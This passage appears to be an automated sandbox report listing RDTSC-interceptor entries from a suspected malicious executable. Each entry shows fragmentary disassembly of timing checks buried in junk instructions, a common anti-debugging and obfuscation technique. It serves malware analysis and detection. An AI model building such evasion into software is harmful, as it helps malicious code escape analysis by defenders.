Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0346 second address: 51B034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B015F second address: 51B0165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0165 second address: 51B0169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0D6E second address: 51B0D94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B904E934h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0D94 second address: 51B0DC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15B8B84196h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0DF0 second address: 51C0E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B904E92Bh 0x00000009 adc cx, 406Eh 0x0000000e jmp 00007F15B904E939h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F15B904E930h 0x0000001a and cl, FFFFFFE8h 0x0000001d jmp 00007F15B904E92Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F15B904E935h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0E59 second address: 51C0E7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15B8B8418Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0E7F second address: 51C0EFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B904E937h 0x00000009 sub eax, 3B4895EEh 0x0000000f jmp 00007F15B904E939h 0x00000014 popfd 0x00000015 movzx eax, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f push ebx 0x00000020 mov al, 70h 0x00000022 pop edi 0x00000023 pushfd 0x00000024 jmp 00007F15B904E92Eh 0x00000029 jmp 00007F15B904E935h 0x0000002e popfd 0x0000002f popad 0x00000030 and dword ptr [eax], 00000000h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov di, D15Eh 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0EFA second address: 51C0EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0EFF second address: 51C0F32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E932h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15B904E937h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B01CF second address: 51B01D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B01D3 second address: 51B01D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B01D7 second address: 51B01DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B01DD second address: 51B0206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E934h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F15B904E92Ch 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51B0206 second address: 51B028C instructions: 0x00000000 rdtsc 0x00000002 mov dh, 08h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F15B8B8418Ch 0x0000000c sub si, 4558h 0x00000011 jmp 00007F15B8B8418Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F15B8B84199h 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 call 00007F15B8B8418Ch 0x00000025 mov ah, A1h 0x00000027 pop edx 0x00000028 push esi 0x00000029 mov bh, E9h 0x0000002b pop esi 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F15B8B84198h 0x00000038 and esi, 79CD7478h 0x0000003e jmp 00007F15B8B8418Bh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0933 second address: 51C0939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0939 second address: 51C093D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C093D second address: 51C098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F15B904E92Dh 0x00000012 or cx, 1CB6h 0x00000017 jmp 00007F15B904E931h 0x0000001c popfd 0x0000001d mov dl, al 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007F15B904E933h 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C098C second address: 51C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F15B8B84191h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0BDE second address: 51C0BF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0BF4 second address: 51C0BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0BF8 second address: 51C0C13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E937h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0C13 second address: 51C0C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0C19 second address: 51C0C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0C1D second address: 51C0C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0059 second address: 51F0099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F15B904E930h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F15B904E937h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0099 second address: 51F009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F009F second address: 51F00A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F00A3 second address: 51F00A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F00A7 second address: 51F00EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F15B904E938h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F15B904E930h 0x00000018 popad 0x00000019 mov dword ptr [esp], ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push edx 0x00000020 pop ecx 0x00000021 mov bx, EFECh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F00EB second address: 51F01D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84192h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e pushad 0x0000000f movzx eax, di 0x00000012 mov di, C99Eh 0x00000016 popad 0x00000017 test eax, eax 0x00000019 jmp 00007F15B8B84195h 0x0000001e je 00007F162A8C79C6h 0x00000024 pushad 0x00000025 jmp 00007F15B8B84198h 0x0000002a popad 0x0000002b mov ecx, eax 0x0000002d jmp 00007F15B8B84190h 0x00000032 xor eax, dword ptr [ebp+08h] 0x00000035 pushad 0x00000036 push edi 0x00000037 mov ax, 6B09h 0x0000003b pop ecx 0x0000003c push edx 0x0000003d mov esi, 1F157241h 0x00000042 pop esi 0x00000043 popad 0x00000044 and ecx, 1Fh 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007F15B8B8418Fh 0x0000004e jmp 00007F15B8B84193h 0x00000053 popfd 0x00000054 popad 0x00000055 ror eax, cl 0x00000057 pushad 0x00000058 jmp 00007F15B8B84194h 0x0000005d pushfd 0x0000005e jmp 00007F15B8B84192h 0x00000063 sbb eax, 76752D18h 0x00000069 jmp 00007F15B8B8418Bh 0x0000006e popfd 0x0000006f popad 0x00000070 leave 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F01D7 second address: 51F01DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F01DB second address: 51F01F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F01F6 second address: 51F021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00B42014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F15BD73EA7Ch 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push edi 0x0000002a pop esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F021F second address: 51F0224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0224 second address: 51F0241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E932h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0241 second address: 51F0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0245 second address: 51F0249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F0249 second address: 51F024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F024F second address: 51F02A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E934h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F15BD73EAC7h 0x00000011 mov edi, edi 0x00000013 pushad 0x00000014 mov ecx, 745A1B29h 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c jmp 00007F15B904E932h 0x00000021 mov bl, ah 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 call 00007F15B904E938h 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F02A5 second address: 51F02C5 instructions: 0x00000000 rdtsc 0x00000002 mov dx, 1D96h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov bl, 7Dh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F15B8B84190h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51F02C5 second address: 51F02CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0019 second address: 51A0036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0036 second address: 51A0045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0045 second address: 51A006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F15B8B8418Eh 0x0000000a adc eax, 1B506D18h 0x00000010 jmp 00007F15B8B8418Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A006B second address: 51A009B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 2Ah 0x00000005 mov edi, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F15B904E92Ah 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B904E937h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A009B second address: 51A00A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A00A1 second address: 51A00A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A00A5 second address: 51A00DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007F15B8B84197h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F15B8B84195h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A00DF second address: 51A018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F15B904E934h 0x00000011 push esi 0x00000012 call 00007F15B904E931h 0x00000017 pop esi 0x00000018 pop edi 0x00000019 popad 0x0000001a xchg eax, ecx 0x0000001b pushad 0x0000001c mov si, A209h 0x00000020 call 00007F15B904E936h 0x00000025 pushfd 0x00000026 jmp 00007F15B904E932h 0x0000002b and esi, 69EB2A88h 0x00000031 jmp 00007F15B904E92Bh 0x00000036 popfd 0x00000037 pop eax 0x00000038 popad 0x00000039 push esi 0x0000003a jmp 00007F15B904E934h 0x0000003f mov dword ptr [esp], ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov ah, dh 0x00000047 call 00007F15B904E936h 0x0000004c pop esi 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A018C second address: 51A0192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0192 second address: 51A0196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0196 second address: 51A019A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A019A second address: 51A01D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b pushad 0x0000000c mov esi, 5325CFDBh 0x00000011 push ecx 0x00000012 push edi 0x00000013 pop ecx 0x00000014 pop ebx 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 jmp 00007F15B904E936h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F15B904E92Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A01D8 second address: 51A0265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c call 00007F15B8B84195h 0x00000011 pushfd 0x00000012 jmp 00007F15B8B84190h 0x00000017 and esi, 6AC4C998h 0x0000001d jmp 00007F15B8B8418Bh 0x00000022 popfd 0x00000023 pop eax 0x00000024 popad 0x00000025 mov esi, dword ptr [ebp+08h] 0x00000028 jmp 00007F15B8B84192h 0x0000002d xchg eax, edi 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F15B8B8418Eh 0x00000035 add esi, 28F94B28h 0x0000003b jmp 00007F15B8B8418Bh 0x00000040 popfd 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F15B8B8418Bh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0265 second address: 51A026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A026B second address: 51A026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A026F second address: 51A0295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15B904E939h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0295 second address: 51A0299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0299 second address: 51A029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A029F second address: 51A02B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov dl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test esi, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A02B1 second address: 51A02B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A02B7 second address: 51A0304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F162A9124CBh 0x0000000f jmp 00007F15B8B8418Eh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F15B8B84197h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0304 second address: 51A0350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F162ADDCC30h 0x0000000f jmp 00007F15B904E92Eh 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 jmp 00007F15B904E930h 0x0000001c or edx, dword ptr [ebp+0Ch] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0350 second address: 51A037B instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 6BB14929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, ecx 0x0000000b popad 0x0000000c test edx, 61000000h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B8B84197h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A037B second address: 51A0381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0381 second address: 51A0385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51907BF second address: 5190803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, cx 0x00000010 pushfd 0x00000011 jmp 00007F15B904E934h 0x00000016 or ecx, 4E9B3508h 0x0000001c jmp 00007F15B904E92Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190803 second address: 5190827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190827 second address: 519082B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519082B second address: 519082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519082F second address: 5190835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190835 second address: 5190891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F15B8B84191h 0x0000000b or eax, 23188986h 0x00000011 jmp 00007F15B8B84191h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F15B8B8418Eh 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F15B8B84197h 0x00000029 rdtsc
